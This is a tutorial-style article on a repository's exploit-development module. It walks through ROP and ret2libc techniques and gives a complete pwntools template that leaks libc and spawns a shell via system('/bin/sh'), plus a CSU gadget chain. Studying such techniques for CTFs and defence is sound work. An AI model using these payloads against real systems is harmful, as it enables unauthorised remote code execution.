# How to Develop Exploits with the pwn-chain Module Using ROP and ret2libc

> Learn to develop exploits with the pwn-chain module using ROP and ret2libc. Build stable payloads with high success rates using pwntools, ROPgadget, and libc-database.

- Repository: [ZhaoXu/reverse-skill](https://github.com/zhaoxuya520/reverse-skill)
- Tags: how-to-guide
- Published: 2026-08-07

---

**The pwn-chain module in zhaoxuya520/reverse-skill provides a six-step workflow to build ROP chains and ret2libc exploits using pwntools, ROPgadget, and libc-database, producing stable payloads with ≥95% success rates against remote targets.**

The zhaoxuya520/reverse-skill repository bridges reverse engineering analysis to working exploitation through its dedicated **pwn-chain** pipeline. This skill module, defined in [`skills/pwn-chain/SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/pwn-chain/SKILL.md), standardizes the development of Return-Oriented Programming (ROP) and ret2libc attacks against binaries with modern protections. By following its structured workflow and reference templates, you can develop exploits that bypass NX (non-executable stack) defenses without injecting traditional shellcode.

## Understanding the pwn-chain Architecture

According to [`docs/ARCHITECTURE.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/docs/ARCHITECTURE.md) and [`skills/pwn-chain/SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/pwn-chain/SKILL.md), the pwn-chain skill serves as the repository’s dedicated pipeline that transforms reverse-engineering findings into fully working exploits. The architecture accepts a binary and identified vulnerability point—such as a stack overflow—as input, processes it through a standardized toolchain, and outputs a stable payload verified against remote targets.

The core toolchain documented in SKILL.md includes:
- **pwntools** for exploit scripting and ELF manipulation
- **GEF/pwndbg** for debugging and memory inspection
- **ROPgadget** or **ROpper** for discovering reusable instruction sequences
- **one_gadget** for finding single-call shell execution points
- **libc-database** for resolving libc versions from leaked addresses

The workflow mandates a six-step process covering protection enumeration, strategy selection, gadget preparation, template generation, local verification, and remote stabilization.

## Why ROP and ret2libc for Modern Binaries

When binaries are compiled with **NX** (non-executable stack) enabled but provide access to **libc** or leak libc addresses, classic shellcode injection becomes impossible. The pwn-chain module addresses this by implementing **Return-Oriented Programming (ROP)**, which reuses existing instruction sequences (gadgets) to call `system("/bin/sh")` or equivalent functions.

**Ret2libc** specifically redirects execution to libc functions already present in memory rather than injecting new code. This technique is selected automatically by the workflow when NX is active and libc symbols are available, as noted in lines 52-57 of [`skills/pwn-chain/SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/pwn-chain/SKILL.md).

## The Six-Step Exploit Development Workflow

The pwn-chain skill enforces a rigorous workflow to ensure exploit reliability:

1. **Protection Enumeration** – Analyze NX, PIE, canary, and RELRO using `checksec` or ELF introspection (SKILL.md lines 47-50)
2. **Strategy Decision** – Select ret2libc when NX is enabled and libc is available; otherwise choose pure shellcode or kernel-ROP paths
3. **Prepare libc & Gadgets** – Resolve libc versions via leakage and locate `pop rdi; ret` and alignment gadgets
4. **Write pwntools Template** – Assemble the payload using the reference templates in [`references/stack-pwn.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/references/stack-pwn.md)
5. **Verify Locally** – Test against local binary instances with debugging enabled
6. **Stabilize Remotely** – Iterate until achieving ≥95% success rate in repeated runs against the remote target (SKILL.md lines 71-83)

## Practical Implementation of ret2libc Exploits

### Enumerating Protections and Selecting Strategy

Begin by identifying binary protections to confirm ret2libc viability. As implemented in the pwn-chain module, use `checksec` or pwntools' `ELF` class to record defense mechanisms. If NX is active and you can leak or know a libc address, proceed with the ret2libc strategy documented in lines 52-57 of SKILL.md.

### Discovering Gadgets and Resolving Libc

Gadget discovery relies on `ROPgadget --binary ./vuln --only "pop|ret"` or `ropper` to locate critical sequences such as `pop rdi; ret` and simple `ret` instructions for stack alignment. According to [`references/stack-pwn.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/references/stack-pwn.md) (lines 38-46), the `ret` gadget is critical for maintaining 16-byte stack alignment before calling `system`.

To resolve libc addresses:
- Leak a known symbol such as `puts@got` or `printf@got`
- Calculate the libc base: `libc_base = leaked_address - libc.sym['puts']`
- Verify the exact libc version using **libc-database** (Stack-pwn, lines 8-21)

### Constructing the ret2libc Payload

The payload construction follows the two-stage template from [`references/stack-pwn.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/references/stack-pwn.md) (lines 22-30 and 55-119). First, leak the libc address and return to `main`. Second, build the ROP chain to call `system("/bin/sh")` with proper stack alignment.

```python
#!/usr/bin/env python3
from pwn import *

# Configuration

exe = './vuln'
libc_path = './libc.so.6'
HOST, PORT = 'challenge.example.com', 31337

context.binary = elf = ELF(exe)
libc = ELF(libc_path) if libc_path else None
context.log_level = 'info'

def conn():
    if args.REMOTE:
        return remote(HOST, PORT)
    if args.GDB:
        return gdb.debug(exe, gdbscript='b *main+123\ncontinue')
    return process(exe)

# Stage 1 – Leak libc and compute base

p = conn()
OFFSET = 0x48  # Determined via cyclic pattern

pop_rdi = 0x401383  # `pop rdi ; ret`

ret_gadget = 0x40101a  # Stack alignment

payload = b'A' * OFFSET
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.sym['main'])

p.sendlineafter(b'> ', payload)
p.recvuntil(b'bye\n')
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f'Leaked puts @ {hex(leak)}')

if not libc:
    libc = ELF()
    libc.address = leak - libc.sym['puts']
    log.success(f'libc base = {hex(libc.address)}')

# Stage 2 – ret2libc system("/bin/sh")

binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']

payload = b'A' * OFFSET
payload += p64(ret_gadget)  # 16-byte alignment

payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

p.sendlineafter(b'> ', payload)
p.interactive()

```

Key implementation details from the source analysis:
- **`OFFSET`** must be determined precisely using cyclic patterns (Stack-pwn, lines 26-44)
- **`ret_gadget`** ensures 16-byte stack alignment required by modern `system` calls
- **Remote stability** is achieved using `sendlineafter` rather than blind `sendline` followed by `sleep` (Stack-pwn, lines 62-68)

## Advanced ROP Techniques

### CSU Gadget Chaining for Missing Instructions

When binaries lack a `pop rdx; ret` gadget—common in stripped executables—the pwn-chain references demonstrate repurposing the `__libc_csu_init` sequence. As detailed in [`references/stack-pwn.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/references/stack-pwn.md) (lines 32-53), the CSU gadget allows controlled values for `rdi`, `rsi`, and `rdx` through a sequence of `pop` instructions followed by an indirect call.

```python
csu_pop = 0x40119a   # pop rbx..r15; ret

csu_call = 0x401180  # mov rdx,r15; ...; call [r12+rbx*8]

def csu(rdi, rsi, rdx, target):
    payload = p64(csu_pop)
    payload += p64(0)          # rbx = 0

    payload += p64(1)          # rbp = 1

    payload += p64(target)     # r12 -> function pointer

    payload += p64(rdi)        # r13 -> rdi

    payload += p64(rsi)        # r14 -> rsi

    payload += p64(rdx)        # r15 -> rdx

    payload += p64(csu_call)
    payload += b'\x00' * 56    # Cleanup after call

    return payload

```

### One-Gadget Exploitation

For scenarios requiring minimal ROP chain complexity, the pwn-chain module supports **one_gadget**. This tool identifies pre-computed offsets within libc that execute `execve("/bin/sh", NULL, NULL)` when certain register constraints are satisfied. Refer to [`references/stack-pwn.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/references/stack-pwn.md) (lines 75-95) for integration patterns using `one_gadget` alongside pwntools.

## Ensuring Remote Stability and Safety Checks

Before marking an exploit complete, SKILL.md (lines 87-93) mandates a safety checklist ensuring tool availability, local verification, and remote stability. The pwn-chain skill requires a ≥95% success rate across repeated remote executions to account for network latency, ASLR randomization, and timing variations.

Critical stability practices from [`references/stack-pwn.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/references/stack-pwn.md) include:
- Using `sendlineafter` with unique delimiters to synchronize with program output
- Avoiding hardcoded `sleep` calls that create race conditions
- Verifying libc offsets against the **libc-database** before remote deployment

## Summary

- The **pwn-chain module** in zhaoxuya520/reverse-skill provides a structured pipeline from vulnerability identification to stable remote exploitation via [`skills/pwn-chain/SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/pwn-chain/SKILL.md)
- **Ret2libc** exploits bypass NX protections by reusing libc functions rather than injecting shellcode, selected when NX is enabled and libc addresses are available
- The **six-step workflow** covers protection enumeration, strategy selection, gadget discovery, payload construction, local verification, and remote stabilization
- **Gadget discovery** uses `ROPgadget` or `ropper` to locate `pop rdi; ret` and alignment gadgets, with CSU initialization sequences serving as fallbacks for missing `rdx` controls
- **Stack alignment** requires a `ret` gadget before `system` calls to maintain 16-byte alignment on modern x64 systems
- **Stability standards** require ≥95% success rates against remote targets, achieved through synchronous I/O patterns and libc version verification

## Frequently Asked Questions

### What is the pwn-chain module in reverse-skill?

The pwn-chain module is the exploitation skill pipeline defined in [`skills/pwn-chain/SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/pwn-chain/SKILL.md) within the zhaoxuya520/reverse-skill repository. It bridges reverse-engineering findings to working exploits by providing standardized workflows, toolchains including pwntools and ROPgadget, and reference templates for stack, heap, and kernel exploitation.

### When should I use ret2libc instead of shellcode injection?

Use ret2libc when the target binary has **NX (non-executable stack)** protection enabled, preventing direct execution of injected shellcode. This technique requires access to libc (either provided or leaked) and constructs a ROP chain to call existing libc functions like `system()`. If NX is disabled, traditional shellcode injection may be simpler and more direct.

### How do I handle missing gadgets like pop rdx in ROP chains?

When `pop rdx; ret` is unavailable, the pwn-chain module recommends using the **CSU gadget** from `__libc_csu_init`. As documented in [`references/stack-pwn.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/references/stack-pwn.md), this sequence allows controlled values for `rdx`, `rsi`, and `rdi` through a series of pop instructions followed by an indirect call mechanism, bypassing the need for direct gadget availability.

### What tools are required to follow the pwn-chain workflow?

The workflow requires **pwntools** for exploit scripting, **ROPgadget** or **ROpper** for gadget discovery, **one_gadget** for single-offset shell execution, **libc-database** for version resolution, and **GEF** or **pwndbg** for debugging. These tools are integrated through the six-step process described in [`skills/pwn-chain/SKILL.md`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/pwn-chain/SKILL.md) to produce stable exploits.